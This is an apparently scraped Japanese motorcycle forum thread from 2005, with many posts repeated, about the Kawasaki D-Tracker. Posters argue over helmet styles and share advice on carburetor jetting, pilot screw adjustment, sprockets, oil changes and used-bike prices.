風切り音で耳がおかしくなるけどな。
729 ：７７４ＲＲ：2005/06/01(水) 00:59:27 ID:Ry3W5Imt
>>725
ジェットとかフルヘイスは萎えるな
ジェットとかフルヘイスは萎えるな
オフメトがチョーカッコいいく見えるのは、
俺がこちら側の人間だからでしょうか？
俺がこちら側の人間だからでしょうか？
731 ：７７４ＲＲ：2005/06/01(水) 01:00:35 ID:Ogme5jpI
>>730
そうだろ・・・・
そうだろ・・・・
732 ：７７４ＲＲ：2005/06/01(水) 01:00:37 ID:7J77IEgT
ＶＩＰからきました
733 ：７７４ＲＲ：2005/06/01(水) 01:00:51 ID:Ms9d+Ek4
オフでヘルスは好きですヾ(*´∀｀*)ﾉｷｬｯｷｬ
いやあちら側の人だからだよｗ
735 ：７７４ＲＲ：2005/06/01(水) 01:01:07 ID:ymA/ueWV
ＯＦＦヘルダセぇよｗｗｗｗｗｗｗｗｗｗ
736 ：７７４ＲＲ：2005/06/01(水) 01:03:17 ID:VdVjmXNn
半ヘル（ダックテイル）・・・デブのビクスクのりみたいでキモイ。
ＯＦＦヘルorフルヘイス・・・・秋葉系？
普通のジェットヘルがベスト？
ＯＦＦヘルorフルヘイス・・・・秋葉系？
普通のジェットヘルがベスト？
>>736
的を得てるなｗ
的を得てるなｗ
秋葉系はなぜかオフブーツかオンブーツ履いてるんだよな・・・
739 ：７７４ＲＲ：2005/06/01(水) 01:05:50 ID:gPhHFjeq
価値観の違いを否定するのはどうかと思う。
半ヘルがかっこよくてオフメットはバイクオタクみたいでかっこ悪いっていう人もいれば
オフメットがかっこよくて半ヘルはアンバランスでかっこ悪いっていう人もいるわけで。
安全性の問題でも、半ヘルで制限速度守って安全運転してる人より（いるかいないかは別で）
峠とかでアホみたいにスピード出してるオフメットライダーのほうが事故る確立は高いわけだし。
ってか書き込んであれだけど、こういう話になると荒れるから話題変えたほうがいいね・・・。
センスも人それぞれなんで否定しない方向でよろしくお願いします。
半ヘルがかっこよくてオフメットはバイクオタクみたいでかっこ悪いっていう人もいれば
オフメットがかっこよくて半ヘルはアンバランスでかっこ悪いっていう人もいるわけで。
安全性の問題でも、半ヘルで制限速度守って安全運転してる人より（いるかいないかは別で）
峠とかでアホみたいにスピード出してるオフメットライダーのほうが事故る確立は高いわけだし。
ってか書き込んであれだけど、こういう話になると荒れるから話題変えたほうがいいね・・・。
センスも人それぞれなんで否定しない方向でよろしくお願いします。
741 ：７７４ＲＲ：2005/06/01(水) 01:07:18 ID:4MlIB2GW
街中でプロテクター着けてるオッサン見ると、いなせだねぇと思う。
お洒落なＤトラ乗りってＳＨＩＰＳの店員さんくらいしかしらないお
綺麗系のお洒落で、外国？のヘルメット被ってたお
綺麗系のお洒落で、外国？のヘルメット被ってたお
おまえらみんなきもい
（ ´∀｀）お前モナー
いや、だから秋葉で見たんだって
社外爆音マフラーに焼け色ついたエキパイ、KXっぽいデカール貼って
フロントディスクはウェーブタイプのDトラ
乗ってたやつは半そでハーフパンツにサンダルで装飾用のダックテールかぶってた。
あれがかっこいいか？
大体装飾用の半ヘルって前をちゃんとみて運転できるの？
フルフェイスでもシールドあけて乗ったら涙出てくるのに。
社外爆音マフラーに焼け色ついたエキパイ、KXっぽいデカール貼って
フロントディスクはウェーブタイプのDトラ
乗ってたやつは半そでハーフパンツにサンダルで装飾用のダックテールかぶってた。
あれがかっこいいか？
大体装飾用の半ヘルって前をちゃんとみて運転できるの？
フルフェイスでもシールドあけて乗ったら涙出てくるのに。
746 ：７７４ＲＲ：2005/06/01(水) 01:14:39 ID:kdsQ9VQ6
>>742
(・∀・)ｲｲ!!
(・∀・)ｲｲ!!
だから半ヘルはグレーなんだって。
何を肯定してるのかちゃんと理解しろよ。
それ以外は同意してもいいけどさ。
何を肯定してるのかちゃんと理解しろよ。
それ以外は同意してもいいけどさ。
748 ：７７４ＲＲ：2005/06/01(水) 01:16:19 ID:p7wxtIm0
だから間をとってジェッペルにしとけよｗｗｗｗ
750 ：７７４ＲＲ：2005/06/01(水) 01:20:22 ID:NgcyhHe5
ノーヘルだよね
>>716
脈絡が無いんで誤爆かと思った・・・。
いきなり「オシャレ」って言われてもなぁ・・・。
そういう事いうヤツって、「俺はオシャレ」と思ってるが、
大抵ありがちな「お仕着せのスタイル」しか
認められないマニュアル君だからなぁ。
叩くヤツも出るだろ。
「何でもカチ上げマンセー」なヤツと本質的な
違いはないと個人的には思う。
>>719
半帽が格好悪く見える件、同意。
物の形には意味があり、当然、半帽もフルもバブルシールドにも、意味がある。
敢えてミスマッチを楽しむというのも理解は出来るが、
「ミスマッチで有る事を意識せず、誰かがやってるのを真似してるだけ」
でしか無いようなのは、イケテナイので考え直した方が良いと思う。
俺的には「D-Traに半帽」はソレに当てはまる。
脈絡が無いんで誤爆かと思った・・・。
いきなり「オシャレ」って言われてもなぁ・・・。
そういう事いうヤツって、「俺はオシャレ」と思ってるが、
大抵ありがちな「お仕着せのスタイル」しか
認められないマニュアル君だからなぁ。
叩くヤツも出るだろ。
「何でもカチ上げマンセー」なヤツと本質的な
違いはないと個人的には思う。
>>719
半帽が格好悪く見える件、同意。
物の形には意味があり、当然、半帽もフルもバブルシールドにも、意味がある。
敢えてミスマッチを楽しむというのも理解は出来るが、
「ミスマッチで有る事を意識せず、誰かがやってるのを真似してるだけ」
でしか無いようなのは、イケテナイので考え直した方が良いと思う。
俺的には「D-Traに半帽」はソレに当てはまる。
秋葉系ヲタじゃなくて、秋葉で見ただけでしょ。
そのヤフオクで買ってそうなダックテールを被ってた奴は上野に行く途中とか。
そのヤフオクで買ってそうなダックテールを被ってた奴は上野に行く途中とか。
>>751は自称お洒落ｗ
754 ：７７４ＲＲ：2005/06/01(水) 01:23:41 ID:gK0y1wK1
>>751
あんた、自分で書いてる事がまんま当てはまるんじゃんｗｗｗ
あんた、自分で書いてる事がまんま当てはまるんじゃんｗｗｗ
ミスマッチなんて死語だろ・・・・
＞物の形には意味があり、当然、半帽もフルもバブルシールドにも、意味がある。
詳しく
詳しく
半キャップに意味がある詳細説明を楽しみにまとう！！
半キャップはよく売れる形ってことでいいんじゃない？
あと、コンパクトで持ち運びに便利とか。
若者はかっこいいって思ってるみたいだし。
あと、コンパクトで持ち運びに便利とか。
若者はかっこいいって思ってるみたいだし。
759 ：７７４ＲＲ：2005/06/01(水) 01:33:00 ID:0geXh+KT
秋葉系の服装してる人々を、ハバラーって言うんだなｗｗ
秋葉系でググッたらみつけたｗ
禿ﾜﾗﾀｗｗｗｗはばらー
秋葉系でググッたらみつけたｗ
禿ﾜﾗﾀｗｗｗｗはばらー
そこでメンズノンノに載る様な俺が来ましたよ
メンノン乗るようなヤツがD-traかよﾌﾟｯ
762 ：７７４ＲＲ：2005/06/01(水) 01:39:17 ID:0geXh+KT
じゃあ俺はスマートに載る
俺はゴリラっぽく乗る！
どっちにも乗ってないｗ
俺はanan見てる女に乗る！
てかネタスレ化してまんがな・・・
てかネタスレ化してまんがな・・・
766 ：７７４ＲＲ：2005/06/01(水) 01:49:20 ID:ID07vbQU
ネタみたいなバイクだしいいじゃん
そろそろ話しを戻していいかな？
ってことで質問。
峠ではどの程度速く走れるんですか？
テクニックが同じぐらいの人でDトラVS４００NKだったらどっちが勝ちますか？
ってことで質問。
峠ではどの程度速く走れるんですか？
テクニックが同じぐらいの人でDトラVS４００NKだったらどっちが勝ちますか？
勝つよりテクを見せ付けるほうが楽しくないかい？
Ｄトラ前で、４００ＮＫで走ってコーナー毎にスライドさせたら
ｶｯｺ(≧∀≦)／ｲｲ!!
Ｄトラ前で、４００ＮＫで走ってコーナー毎にスライドさせたら
ｶｯｺ(≧∀≦)／ｲｲ!!
たぶん原付が幅をきかせているトコ以外のあらゆる峠でＤ虎は負けると思うけど、
路面の荒れた道だとオンロード乗りはビビってアクセル開けないから、そういう
トコだとＤ虎は強いと思う。
路面の荒れた道だとオンロード乗りはビビってアクセル開けないから、そういう
トコだとＤ虎は強いと思う。
MJ、SJ、ニードルを交換したときに必要なツールは
エアスクリュードライバーが最終調整に必要。
エアスクリュードライバーが最終調整に必要。
普通のドライバでいいよ・・・
だいいちエアスクリューねえし。
エアスクリュードライバってホンダの原チャリ（だったっけ？）とかで見る
D型のアタマを回すやつかな？
パイロットスクリューアジャスタの事だとしても、セル付きじゃまともに使えないぞ
買うだけ無駄
エアスクリュードライバってホンダの原チャリ（だったっけ？）とかで見る
D型のアタマを回すやつかな？
パイロットスクリューアジャスタの事だとしても、セル付きじゃまともに使えないぞ
買うだけ無駄
まぁ、整備一からやり直して頂くって事で。
パイロットスクリュウアジャスタ・・・
アイドリング調整みたいに簡単に出来たらいいのになぁ。
アイドリング調整みたいに簡単に出来たらいいのになぁ。
名前間違えた、スマン
昔のはセルに当たって使えないが最近のは大丈夫です。
デイトナのワイヤータイプでも4500円だった。
イチイチばらしたら8分の1刻だから何回ばらせば合う事やら
昔のはセルに当たって使えないが最近のは大丈夫です。
デイトナのワイヤータイプでも4500円だった。
イチイチばらしたら8分の1刻だから何回ばらせば合う事やら
FCR33にするか35にするか迷う。
778 ：７７４ＲＲ：2005/06/01(水) 14:43:00 ID:6RanxvOr
３５にしとけ
あいだを取って37の人柱
車体におさまりゃなんとかなるべ。
781 ：７７４ＲＲ：2005/06/01(水) 17:30:22 ID:6RanxvOr
>>777
排気量はﾉｰﾏﾙなの？
排気量はﾉｰﾏﾙなの？
３５にしとけ、おそらくセル付きで付ける事のできる一番大きい奴だから。
すまん３５も３７もたしか共有ボディーだった
未だにキャブが外せないんです。
別にセッティングで弄るんではなくクリーニングです。
走行1.3万ぐらいなのでそろそろやってみようかなと。
セローのときは余計なものもあまりついてなくて初心者でも外せました。
KLXってものすごく狭い所に埋まってる上にパイプやらが多めに繋がってます。
やっぱバイク屋に任せるのが吉？
別にセッティングで弄るんではなくクリーニングです。
走行1.3万ぐらいなのでそろそろやってみようかなと。
セローのときは余計なものもあまりついてなくて初心者でも外せました。
KLXってものすごく狭い所に埋まってる上にパイプやらが多めに繋がってます。
やっぱバイク屋に任せるのが吉？
785 ：７７４ＲＲ：2005/06/01(水) 21:01:42 ID:Fq42rmNf
ふよふの人ってどんな熱対策してますか？
786 ：654：2005/06/01(水) 21:48:16 ID:Wm/tfPWX
>784
他のバイクでやったことがあるなら全然大丈夫じゃないですか。
自分なんて整備といえば、オイル交換しかしたことないっすよ。
それなのにセッティングしようとしてますよ。
というわけで、MJ、SJ購入age
他のバイクでやったことがあるなら全然大丈夫じゃないですか。
自分なんて整備といえば、オイル交換しかしたことないっすよ。
それなのにセッティングしようとしてますよ。
というわけで、MJ、SJ購入age
33に1票
788 ：７７４ＲＲ：2005/06/01(水) 22:22:44 ID:zbTPb7us
アウターとインナーの継ぎ合わせのとこにあるフォークガードを通す黒いワッカて、
後ろから見て少し間開いてていいんだよね？ボルトが長いからめい一杯締めたら、
閉じたのであせったんだけど。
後ろから見て少し間開いてていいんだよね？ボルトが長いからめい一杯締めたら、
閉じたのであせったんだけど。
>>784
そんなあなたのために社外カスタム本があるじゃないか。
ちょっと値段が張りますが、豊富な写真で理解しやすいですよ。
まぁ、KLEENのせいでホースがいっぱい生えてますけど、
丁寧に一つ一つ外せばスペースは空きます。
とにかく時間かけてやってみてください。
そんなあなたのために社外カスタム本があるじゃないか。
ちょっと値段が張りますが、豊富な写真で理解しやすいですよ。
まぁ、KLEENのせいでホースがいっぱい生えてますけど、
丁寧に一つ一つ外せばスペースは空きます。
とにかく時間かけてやってみてください。
ネット関係ばかり目を向けてましたけど
本がありましたね。どうもです
本がありましたね。どうもです
KLXのキャブの取り方。
１ タンクを外す（それまでに冷却水のパイプ類とアクセルワイヤーは外しておく）
２ インシュレーターのホースバンドを両方外す（完全に外しちゃう方が作業性が良い）
３ キャブレターの吸気側にむかってキャブを押し込む
４ キャブレターの排気側とキャブレターの間に隙間が出来たら思い切って上へ
５ キャブがエンジン吸気側からずれたらキャブを９０度ひねる
６ そのまま上へキャブを引き抜く（若干ひっかかるけどそのうち外れる。）
＃キャブのドレンコック（ヘキサゴン4mmか3mm）は最初に緩めてガソリン排出しておくこと。
ちなみに手順
ガソリンのコックをOFFへ
キャブのフロート室、車体右側に見えるヘキサゴンボルトを緩める
キャブの一番下の黒いチューブの先からガソリンが勢いよく流れるので受け止めておくこと。
受け止めないとアスファルトを溶かすから注意な。
１ タンクを外す（それまでに冷却水のパイプ類とアクセルワイヤーは外しておく）
２ インシュレーターのホースバンドを両方外す（完全に外しちゃう方が作業性が良い）
３ キャブレターの吸気側にむかってキャブを押し込む
４ キャブレターの排気側とキャブレターの間に隙間が出来たら思い切って上へ
５ キャブがエンジン吸気側からずれたらキャブを９０度ひねる
６ そのまま上へキャブを引き抜く（若干ひっかかるけどそのうち外れる。）
＃キャブのドレンコック（ヘキサゴン4mmか3mm）は最初に緩めてガソリン排出しておくこと。
ちなみに手順
ガソリンのコックをOFFへ
キャブのフロート室、車体右側に見えるヘキサゴンボルトを緩める
キャブの一番下の黒いチューブの先からガソリンが勢いよく流れるので受け止めておくこと。
受け止めないとアスファルトを溶かすから注意な。
あっ、俺も社外本買った。
素人やったから、役立ったよ。
次はサービスマニュアル買おうと計画中。
必要なくなればヤフオクに放流すれば半額くらいで売れると思う。
素人やったから、役立ったよ。
次はサービスマニュアル買おうと計画中。
必要なくなればヤフオクに放流すれば半額くらいで売れると思う。
793 ：７７４ＲＲ：2005/06/02(木) 02:15:58 ID:6ZQtzs+p
スプロケとチェーンがへたってきたので変えようと思うのですがやはり純正が一番安くて安心なんですか？安くておすすめの社外品があれば教えて下さい。
>>793
サンスターの「肉抜き」スプロケ
（鉄製だと思うが商品名忘れたorz）は結構良いかも・・・・
知人(01黒乗り)はAFAMとかの見た目だけのアルミスプロケより
はるかに実用的で(・∀・)ｲｲ!!・・・と言ってたが、
俺個人としてはやっぱノーマルを勧める。
「純正に勝るもの無し!!」って結構真実突いた言葉だと思うよ
サンスターの「肉抜き」スプロケ
（鉄製だと思うが商品名忘れたorz）は結構良いかも・・・・
知人(01黒乗り)はAFAMとかの見た目だけのアルミスプロケより
はるかに実用的で(・∀・)ｲｲ!!・・・と言ってたが、
俺個人としてはやっぱノーマルを勧める。
「純正に勝るもの無し!!」って結構真実突いた言葉だと思うよ
今はノーマル。いずれふよふ、ハイカムも視野に入れてます。
CVKより頻繁に取り外し・セッティングすると予想されますので、
35以上だとボディがデカいと聞くのでしんどいかなあ、と。
CVKより頻繁に取り外し・セッティングすると予想されますので、
35以上だとボディがデカいと聞くのでしんどいかなあ、と。
サンスターがいいいわれんのは純正供与メーカーだからじゃなかったけ？
>785
ふよふだけならたぶんノーマルで十分。今は外しているが冬にＦＣＲ３５導入したら
凄くラジエター廃熱が熱くなってたから夏場にはオイルクーラーとかも必要になるかも。
ふよふだけならたぶんノーマルで十分。今は外しているが冬にＦＣＲ３５導入したら
凄くラジエター廃熱が熱くなってたから夏場にはオイルクーラーとかも必要になるかも。
純正もコストダウンのために妥協してる部分が少なからずある
・・・という事を忘れずに
・・・という事を忘れずに
ちなみにサンスターがいいのは歯のケアをする商品も扱ってるからだ
800 ：７７４ＲＲ：2005/06/02(木) 13:10:09 ID:IkU4SC3l
>>799
つまらん
つまらん
801 ：７７４ＲＲ：2005/06/02(木) 14:26:21 ID:mssp3631
スプロケの鉄とアルミでの耐久性のちがいはどれくらいあんの？
３倍４倍違う。
803 ：793：2005/06/02(木) 15:23:11 ID:6ZQtzs+p
教えて頂きありがとうございますm(＿)m
804 ：７７４ＲＲ：2005/06/02(木) 15:54:35 ID:ZKjBqbb9
あぬえ、ハイカムにFCR35で、今年で２度目の夏を迎えますが、冷却系はまったくノーマルです。
オイル交換だけマメにおこなえば充分だよ。
オイル交換だけマメにおこなえば充分だよ。
805 ：７７４ＲＲ：2005/06/02(木) 18:44:15 ID:wE0vtBNL
＞８０４さん
「オイル交換だけマメに」ってどの程度の割合でやってますか？
「オイル交換だけマメに」ってどの程度の割合でやってますか？
806 ：７７４ＲＲ：2005/06/02(木) 19:25:56 ID:QtwVRsBv
タナックス モトフィズ オーバルタンクバッグはオススメ。
財布、携帯、たばこ＋αくらいのいつも持ち歩く最小限のモノしか入らないが。
料金所でもスムーズだし、何といってもDトラタンクにジャストフィット。
磁石もめちゃくちゃ強く、まず落ちない。俺の中の最近のヒット。
財布、携帯、たばこ＋αくらいのいつも持ち歩く最小限のモノしか入らないが。
料金所でもスムーズだし、何といってもDトラタンクにジャストフィット。
磁石もめちゃくちゃ強く、まず落ちない。俺の中の最近のヒット。
807 ：７７４ＲＲ：2005/06/02(木) 20:22:10 ID:SwDuuoJi
オイル交換は、二ヶ月位ですね。
通販で輸入物のモチュをまとめ買いして使ってます。
通販で輸入物のモチュをまとめ買いして使ってます。
808 ：７７４ＲＲ：2005/06/02(木) 20:39:48 ID:CNK7uQZp
＞８０７さん
渋滞でも大丈夫ですか？お住まいはどちら？
渋滞でも大丈夫ですか？お住まいはどちら？
809 ：７７４ＲＲ：2005/06/02(木) 20:55:06 ID:j/+//kDz
GPZから04D虎に乗り換えたんですが
走行中に息継ぎするみたいな感じに回転数が一瞬下がる感じになるのですが
これってどこかおかしいのでしょうか？
走行中に息継ぎするみたいな感じに回転数が一瞬下がる感じになるのですが
これってどこかおかしいのでしょうか？
811 ：７７４ＲＲ：2005/06/02(木) 21:55:05 ID:CNK7uQZp
俺は東京だけど。
他に>>807に質問があるなら、まとめてから１レスで聞け
いちいちageたりさみだれ式に質問するのはｳｻﾞｲからやめれ
いちいちageたりさみだれ式に質問するのはｳｻﾞｲからやめれ
>>812
つ【カルシウム】
つ【カルシウム】
814 ：７７４ＲＲ：2005/06/02(木) 22:11:24 ID:CNK7uQZp
＞８１２
別の人の質問は１レスには書けないんだよ。805は俺じゃないから。
>810の質問の意図がわかんないけど。
別の人の質問は１レスには書けないんだよ。805は俺じゃないから。
>810の質問の意図がわかんないけど。
ＦＣＲって公道使用おｋなの？
817 ：７７４ＲＲ：2005/06/02(木) 22:35:39 ID:IkU4SC3l
オイルが滲んできた。
これが例のカワサ（ｒｙ
これが例のカワサ（ｒｙ
FCR＝公道使用可能 だと思われ
駄目なのは98db以上のマフラー
シリンダーボアアップ
ライト変更
純正より幅の広いバーハン
がアウト。
ちなみにタイヤはオフ用のレーサータイヤはタイヤの刻印では使用不可となってるけど溝の深さではOKのはず
溝の幅に規定があったらアウトだけど、そこまで調べたこと無い。
駄目なのは98db以上のマフラー
シリンダーボアアップ
ライト変更
純正より幅の広いバーハン
がアウト。
ちなみにタイヤはオフ用のレーサータイヤはタイヤの刻印では使用不可となってるけど溝の深さではOKのはず
溝の幅に規定があったらアウトだけど、そこまで調べたこと無い。
どっちかっつーと問題は、キャブ変更に伴ってエアクリ外した場合の処置だな。
エアクリ仕様で乗る分には問題ない。
パワフィル仕様ならキャッチタンクが必要。
ファンネルはどうなんだっけ？
エアクリ仕様で乗る分には問題ない。
パワフィル仕様ならキャッチタンクが必要。
ファンネルはどうなんだっけ？
エアクリ外したら気温湿度などの条件で細かくセッティングしなきゃいけなくなるべ。
やめといた方がいいよ。
FCRってレース専用品だけどキャブに関する法律ってあったっけ？
禁止されてなきゃＯＫって話もあるけどレース専用品だけあって
小まめなメンテナンスは必要。
少なくても半年～１年に１回はＯＨが必要になるでしょ
やめといた方がいいよ。
FCRってレース専用品だけどキャブに関する法律ってあったっけ？
禁止されてなきゃＯＫって話もあるけどレース専用品だけあって
小まめなメンテナンスは必要。
少なくても半年～１年に１回はＯＨが必要になるでしょ
>>819
>ライト変更
>純正より幅の広いバーハン
これマジ？ライト変更してる奴は腐るほどいるし、純正より幅の狭いハンドルなんて売ってないけど、
そこを改造した事で罰金になった人って聞いたこと無い。
ボアアップも構造変更だっけ？の書類出せばOKでしょ。
>ライト変更
>純正より幅の広いバーハン
これマジ？ライト変更してる奴は腐るほどいるし、純正より幅の狭いハンドルなんて売ってないけど、
そこを改造した事で罰金になった人って聞いたこと無い。
ボアアップも構造変更だっけ？の書類出せばOKでしょ。
するー
>>823
準じますｗ
準じますｗ
825 ：654：2005/06/03(金) 12:01:10 ID:9p5/4HML
MJ、SJ交換完了！
SJに合うドライバーがなく、急いでホムセンに買いに行くトラブルもありつつ、約三時間半で終了。
色々アドバイスを下さった皆様有難うございましたー。
SJに合うドライバーがなく、急いでホムセンに買いに行くトラブルもありつつ、約三時間半で終了。
色々アドバイスを下さった皆様有難うございましたー。
で、アフターはなおったんか？
827 ：654：2005/06/03(金) 12:39:02 ID:9p5/4HML
軽く乗ってみた感じですが、今までポンポンなっていたのが、
控えめにポスポス…って感じです。
ほとんど気にならない程度なので結果的に満足です。
控えめにポスポス…って感じです。
ほとんど気にならない程度なので結果的に満足です。
Dトラ買おうか250SB買おうか悩んでます。
Dトラの方が若干高いと思いますが、
Dトラを選んだ方はどうしてDトラにしたのですか？
Dトラの方が若干高いと思いますが、
Dトラを選んだ方はどうしてDトラにしたのですか？
829 ：７７４ＲＲ：2005/06/03(金) 22:57:23 ID:3lYIn2Hj
カラーリング
830 ：７７４ＲＲ：2005/06/04(土) 00:05:23 ID:/rAmytji
スズキが嫌いだから。
おまえら、正直に言ってやれ
「SB乗ってると偽物って言われるから」って。
「SB乗ってると偽物って言われるから」って。
832 ：７７４ＲＲ：2005/06/04(土) 00:17:10 ID:/rAmytji
面白い！
と、思って調べてみたら純正の方が安かったよ・・
リヤハブがＫＤＸやＫＸと共用だから、パーツリストを漁れば
結構色々な歯数のＲスプロケが入手できたりします
（広義の？）純正パーツあなどれませんぜ
結構色々な歯数のＲスプロケが入手できたりします
（広義の？）純正パーツあなどれませんぜ
Dトラの純正ブレーキの効きはどうかな。
軽く流す程度なら十分でしょうか？
軽く流す程度なら十分でしょうか？
>>831
偽者・・・(´･ω･`)
偽者・・・(´･ω･`)
>>654
交換おめでとう。
MJ,SJは何番入れました？
後>>775>>776が言っているパイロットスクリューアジャスタは合わしておいた方がいい。
ドライバー買うのが高ければ置いてあるバイク屋で合わして貰うといいよ。
燃費にも関係してくるからね。
交換おめでとう。
MJ,SJは何番入れました？
後>>775>>776が言っているパイロットスクリューアジャスタは合わしておいた方がいい。
ドライバー買うのが高ければ置いてあるバイク屋で合わして貰うといいよ。
燃費にも関係してくるからね。
コースに行くとレースやってるお店の関係からか250SBが目立つね
ヒント［キチガイ色］
842 ：７７４ＲＲ：2005/06/04(土) 13:58:44 ID:AcSTA7tc
ずいぶんとストレートなヒントだな（笑）
さっきオイル交換と一緒にフィルタも交換し、
新品のフィルタを入れる時に気がついたのだがバネが車体側に転がっていた。
バネの位置はフィルタの中心軸上にくればいいと思うのだが、うまくできない。
結局、フィルタの下の方にバネがあたるようにしたのだが、これでOKかな？
まだエンジンは回してないけどかなり心配・・
新品のフィルタを入れる時に気がついたのだがバネが車体側に転がっていた。
バネの位置はフィルタの中心軸上にくればいいと思うのだが、うまくできない。
結局、フィルタの下の方にバネがあたるようにしたのだが、これでOKかな？
まだエンジンは回してないけどかなり心配・・
ああ、「黒だと見分けがつかない」か。
シェラウドのＳマークが割と目立つよ。
フィルタはゴムつき側が蓋側で
バネはエンジン側の爪のような所に引っ掛ける
シェラウドのＳマークが割と目立つよ。
フィルタはゴムつき側が蓋側で
バネはエンジン側の爪のような所に引っ掛ける
KLXをキチガイ色にしようかな
>>844
おぉ、そうだったのか。
最初は4つある爪の中心にバネを置こうとしたけど、
できなかったので下側の爪の下にバネを置いたんだ。
確かに爪に引っかければバネの仮固定ができそうだね。
早速、やり直してきます。
どうもありがとう！
おぉ、そうだったのか。
最初は4つある爪の中心にバネを置こうとしたけど、
できなかったので下側の爪の下にバネを置いたんだ。
確かに爪に引っかければバネの仮固定ができそうだね。
早速、やり直してきます。
どうもありがとう！
|火|･ω･｀)oO(ＳＢがｶｯｺｲｲと思ふ。ﾒｰﾀｰﾊﾞｲｻﾞｰとﾘｱは新型Dﾄﾗだが・・・。
ホイール変わっても、乗り心地変化したかはわからん。
ホイール変わっても、乗り心地変化したかはわからん。
フレーム・紫
シート・紫
外装・緑
ホイール・金
キチガイ色ですかね？
シート・紫
外装・緑
ホイール・金
キチガイ色ですかね？
画像うｐ！見てみたいｗ
>>849
普通のKLX-SRなんですけどね・・・
普通のKLX-SRなんですけどね・・・
851 ：654：2005/06/04(土) 14:49:28 ID:iQdX9Q5w
>838
MJ125 SJ38です。
パイロットスクリューアジャスタとありますが、具体的にどのようにあわせたらいいのでしょうか？
MJ125 SJ38です。
パイロットスクリューアジャスタとありますが、具体的にどのようにあわせたらいいのでしょうか？
>>850
'96SRとかその辺ですね
'96SRとかその辺ですね
ていうか当時はシートがピンク色なＫＤＸの方がキチガイ色だった鴨
ピンクのKDX250はカワイイから許可
乗ってるのは100％野郎ですがｗ
じゃあ、ピンクとか緑とか水色とかでワケのわかんないアネーロはあ？
まぁ、なんだ、阪神ファンなら許すよ。
858 ：７７４ＲＲ：2005/06/04(土) 17:43:47 ID:EuYtE705
Ｄトラの改造を考えています
ＫＬＸのほかにパーツの互換性がある車種はありますか？
ＫＬＸのほかにパーツの互換性がある車種はありますか？
250SB
KX
↑正解
>>851
キャブ下にヒート用のホースがあった横に穴があります。
そこにマイナスを入れて回すのですが場所が場所だけに専用ドライバーが必要です。
専用ドライバーと回転数計があればエンジンが温もった状態で回すとエンジン回転数が
上がるので最も上がる所に合わすようにします。
1回転を8分割で調整するようになっているので回すとカチカチ鳴ると思います。
閉め込んでから緩めて1.5回転から3回転までに合う様ならジェットも合っている状態みたいです。
私の場合はこれが合っていなくてMJ交換前1350回転、交換後1000回転になり
専用ドライバーで2ノッチ動かすと1300回転まで上がりました。
キャブ下にヒート用のホースがあった横に穴があります。
そこにマイナスを入れて回すのですが場所が場所だけに専用ドライバーが必要です。
専用ドライバーと回転数計があればエンジンが温もった状態で回すとエンジン回転数が
上がるので最も上がる所に合わすようにします。
1回転を8分割で調整するようになっているので回すとカチカチ鳴ると思います。
閉め込んでから緩めて1.5回転から3回転までに合う様ならジェットも合っている状態みたいです。
私の場合はこれが合っていなくてMJ交換前1350回転、交換後1000回転になり
専用ドライバーで2ノッチ動かすと1300回転まで上がりました。
863 ：654：2005/06/04(土) 18:24:05 ID:iQdX9Q5w
＞862
詳細な説明感謝です。回転計(タコ?)もないですね…何とかフィーリングで合わせられませんかね？
しかも元の回転数もわからないですわー。
詳細な説明感謝です。回転計(タコ?)もないですね…何とかフィーリングで合わせられませんかね？
しかも元の回転数もわからないですわー。
04白、今日受け取ってきた。
でも、帰りにさっきの土砂降りに降られて・・・orz
でも、帰りにさっきの土砂降りに降られて・・・orz
|火|･ω･｀)oO(ｽｽﾞｷだから。あのチェッカーフラッグをあしらったデザインはカワサキには出来まい。
868 ：７７４ＲＲ：2005/06/04(土) 20:13:43 ID:xUrQxQ4J
Dトラ買うとDRZにすれば良かったという劣等感に永遠かられる。
それを自分の中で、車検ないからとか弄りやすいしとか言い聞かせるが、
パーツ代考えればゆうにDRZ買える金額を超えている。
DトラかSBか？ そんなもん一緒だろ。
それを自分の中で、車検ないからとか弄りやすいしとか言い聞かせるが、
パーツ代考えればゆうにDRZ買える金額を超えている。
DトラかSBか？ そんなもん一緒だろ。
869 ：７７４ＲＲ：2005/06/04(土) 20:18:46 ID:j+wiivak
ＤＲＺ買っても弄るから、あんましその考え方は意味無い思う
劣等感も何もＤトラ操れる様になって言ってくれい
劣等感も何もＤトラ操れる様になって言ってくれい
劣等感なんか感じたことないなぁ。
まだバイク初心者だからかも知れんけど。
まだバイク初心者だからかも知れんけど。
オレなんか永遠に初心者だから自分のバイクが最高だ
ちゃうよー。
たしかにグライドライドさんところはSBばかりだね。
グライドさんとこのバネキットを買おうかと考え中・・・
たしかにグライドライドさんところはSBばかりだね。
グライドさんとこのバネキットを買おうかと考え中・・・
>868
全ての人が君みたいなコンプレックスの塊ではないよ
全ての人が君みたいなコンプレックスの塊ではないよ
875 ：７７４ＲＲ：2005/06/04(土) 21:49:02 ID:sTOwbQgb
02’Dトラ（黒）走行距離1300ｋｍ27マソは買いですか？
>>866
え、そうなんですか？
MJ,SJ交換してからパイロットスクリュー合わせてからはチョーク引かなくても
アクセル回した後エンジンがかけることが出来るようになりましたけど？
ノーマルは何回転なの？
え、そうなんですか？
MJ,SJ交換してからパイロットスクリュー合わせてからはチョーク引かなくても
アクセル回した後エンジンがかけることが出来るようになりましたけど？
ノーマルは何回転なの？
>>875
買いだと思うが、安いね。事故車かなんかかしら・・
>>877
微妙だと思う。一応。
http://www.goobike.com/
俺のSBはこんな感じ
購入は一年前
02'中古3000㌔
車体《368000円》+ﾏﾌﾗｰ《29800円》+
ｷｬﾘｱ《11800円》+ﾊﾝﾄﾞﾙｶﾞｰﾄﾞ《7800円》+
自賠責《13410円》+登録代行料《8000円》+
組立点検手数料《28000円》+消費税《23670円》=
合計《490480円》
買いだと思うが、安いね。事故車かなんかかしら・・
>>877
微妙だと思う。一応。
http://www.goobike.com/
俺のSBはこんな感じ
購入は一年前
02'中古3000㌔
車体《368000円》+ﾏﾌﾗｰ《29800円》+
ｷｬﾘｱ《11800円》+ﾊﾝﾄﾞﾙｶﾞｰﾄﾞ《7800円》+
自賠責《13410円》+登録代行料《8000円》+
組立点検手数料《28000円》+消費税《23670円》=
合計《490480円》
879 ：７７４ＲＲ：2005/06/04(土) 23:38:15 ID:EuYtE705
０１モデル 約１５０００ｋ
ヨシムラ ハイカム・１mmバルブup
ＦＣＲ３５パイ・２９２ＣＣボアアップ
ＫＬＸ前期イグナイターに交換
ＯＶＥＲフルチタンマフラー
ＥＸＣＥＬホイール・モトマスター４Ｐキャリパー
ＣＯＺＹシート・ゴールドチェーン・ハンドルetc
俺はこれで約４０万だったよ
ヨシムラ ハイカム・１mmバルブup
ＦＣＲ３５パイ・２９２ＣＣボアアップ
